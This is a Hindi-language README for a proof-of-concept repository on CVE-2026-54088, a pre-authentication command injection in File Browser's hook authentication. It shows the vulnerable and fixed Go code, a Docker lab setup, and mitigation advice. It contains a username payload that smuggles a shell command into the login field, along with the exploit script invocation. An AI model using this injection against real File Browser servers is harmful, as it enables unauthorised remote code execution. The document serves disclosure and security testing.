
सीवीई-2026-54088 के लिए प्रूफ-ऑफ-कॉन्सेप्ट एक्सप्लॉइट, फाइल ब्राउज़र <=2.63.5 में प्री-ऑथेंटिकेशन ओएस कमांड इंजेक्शन। हुक प्रमाणीकरण के माध्यम से शेल इंजेक्शन प्रदर्शित करता है जिससे रिमोट कोड निष्पादन प्राप्त होता है।
यह रिपॉजिटरी File Browser के संस्करण <= 2.63.5 में मौजूद एक गंभीर OS कमांड इंजेक्शन भेद्यता CVE-2026-54088 का Proof of Concept (PoC) है।
यह भेद्यता Hook Authentication सुविधा में मौजूद है। जब व्यवस्थापक बाहरी कमांड द्वारा उपयोगकर्ता प्रमाणीकरण करने के लिए File Browser को कॉन्फ़िगर करता है, तो लॉगिन के समय भेजे गए username और password को बिना एस्केप किए os.Expand() द्वारा सेट किए गए कमांड स्ट्रिंग में विस्तारित किया जाता है। एक अप्रमाणित रिमोट हमलावर लॉगिन अनुरोध के माध्यम से शेल सिंटैक्स इंजेक्ट कर सकता है और प्रमाणीकरण सफल होने से पहले किसी भी कमांड को निष्पादित कर सकता है।
खोजकर्ता: saku0512 (https://github.com/Saku0512)
यह परियोजना केवल शैक्षिक उद्देश्यों और नैतिक सुरक्षा परीक्षण के लिए है।
इस उपकरण के दुरुपयोग, क्षति या अवैध गतिविधियों के लिए लेखक किसी भी जिम्मेदारी से इनकार करता है। कंप्यूटर सिस्टम में अनधिकृत पहुंच अवैध है। इस सॉफ़्टवेयर का उपयोग केवल उन वातावरणों में करें जिनमें आपको स्पष्ट अनुमति प्राप्त हो।
<= 2.63.52.63.6auth/hook.goHookAuth.RunCommandHookAuth.RunCommand() कॉन्फ़िगर किए गए प्रमाणीकरण कमांड को विभाजित करता है और हमलावर-नियंत्रित अनुरोध डेटा का उपयोग करके प्रमाणीकरण प्लेसहोल्डर्स का विस्तार करता है।
envMapping := func(key string) string {
switch key {
case "USERNAME":
return a.Cred.Username
case "PASSWORD":
return a.Cred.Password
default:
return os.Getenv(key)
}
}
for i, arg := range command {
if i == 0 {
continue
}
command[i] = os.Expand(arg, envMapping)
}
यदि हुक कमांड इस प्रकार कॉन्फ़िगर किया गया है:
sh -c $USERNAME
और हमलावर निम्नलिखित username भेजता है:
touch /tmp/fb_hook_auth_pwned; echo hook.action=block
लॉगिन प्रयास के दौरान, सर्वर हमलावर-नियंत्रित शेल स्क्रिप्ट निष्पादित करता है। किसी वैध खाते या पासवर्ड की आवश्यकता नहीं है।
यह समस्या कमिट 34ae34e764d72540c039f1f5ea2ec4c974168c1f में हुक कमांड स्ट्रिंग से प्रमाणीकरण प्रतिस्थापन को हटाकर ठीक की गई थी। हुक कमांड अब कॉन्फ़िगर किए गए अनुसार ही निष्पादित होता है, और प्रमाणीकरण जानकारी केवल पर्यावरण चर के रूप में पारित की जाती है।
command := strings.Split(a.Command, " ")
cmd := exec.Command(command[0], command[1:]...)
cmd.Env = append(os.Environ(), fmt.Sprintf("USERNAME=%s", a.Cred.Username))
cmd.Env = append(cmd.Env, fmt.Sprintf("PASSWORD=%s", a.Cred.Password))
हटाई गई भेद्य प्रक्रिया वह os.Expand() लूप थी जो exec.Command() को कॉल करने से पहले हमलावर-नियंत्रित प्रमाणीकरण जानकारी के साथ कमांड तर्कों को बदल देती थी। इस सुधार में प्रतिगमन परीक्षण भी जोड़ा गया है ताकि यह सुनिश्चित किया जा सके कि इंजेक्टेड प्रमाणीकरण जानकारी हुक कमांड को संशोधित नहीं कर सकती, और USERNAME/PASSWORD अब भी पर्यावरण चर के माध्यम से हुक के लिए उपलब्ध हैं।
भेद्य File Browser वातावरण प्रारंभ करें। filebrowser-init सेवा डेटाबेस बनाती है और भेद्य कमांड का उपयोग करके Hook Authentication को सक्षम करती है।
docker compose up -d
लक्ष्य निम्नलिखित URL पर उपलब्ध होगा:
http://localhost:8080
इस निर्देशिका से एक्सप्लॉइट स्क्रिप्ट चलाएँ:
python3 exploit.py -t http://localhost:8080 -c "touch /tmp/fb_hook_auth_pwned"
यह एक्सप्लॉइट /api/login पर एक अप्रमाणित लॉगिन अनुरोध भेजता है। प्रमाणीकरण विफल होने की उम्मीद है, लेकिन उससे पहले इंजेक्टेड कमांड निष्पादित हो जाता है।
ब्राउज़र में File Browser का लॉगिन पृष्ठ खोलें:
http://localhost:8080
लॉगिन फॉर्म में निम्नलिखित मान दर्ज करें और लॉगिन बटन पर क्लिक करें:
Username: touch /tmp/fb_hook_auth_gui_pwned; echo hook.action=block
Password: anything
लॉगिन विफल होगा, लेकिन Hook Authentication कमांड निष्पादन प्रमाणीकरण परिणाम लौटने से पहले होता है। निम्नलिखित कमांड से सत्यापित करें कि GUI ऑपरेशन द्वारा कंटेनर के अंदर मार्कर फ़ाइल बनाई गई है:
docker exec -it cve-2026-54088-hook-auth-vuln ls -l /tmp/fb_hook_auth_gui_pwned
यदि फ़ाइल मौजूद है, तो GUI लॉगिन ऑपरेशन से भी प्री-ऑथ RCE की पुष्टि होती है।
File Browser कंटेनर के अंदर कमांड निष्पादित हुआ या नहीं, इसकी जाँच करें:
docker exec -it cve-2026-54088-hook-auth-vuln ls -l /tmp/fb_hook_auth_pwned
यदि फ़ाइल मौजूद है, तो प्री-ऑथ RCE की पुष्टि होती है।
docker compose down -v
File Browser को संस्करण 2.63.6 या उसके बाद के संस्करण में अपडेट करें।
प्रमाणीकरण जानकारी को शेल कमांड स्ट्रिंग में एम्बेड न करें; इसे केवल पर्यावरण चर के रूप में हुक कमांड को पास करें। अन्य कमांड निष्पादन पथों के लिए भी, शेल मूल्यांकन से बचें या सख्त तर्क पृथक्करण और एस्केपिंग करें।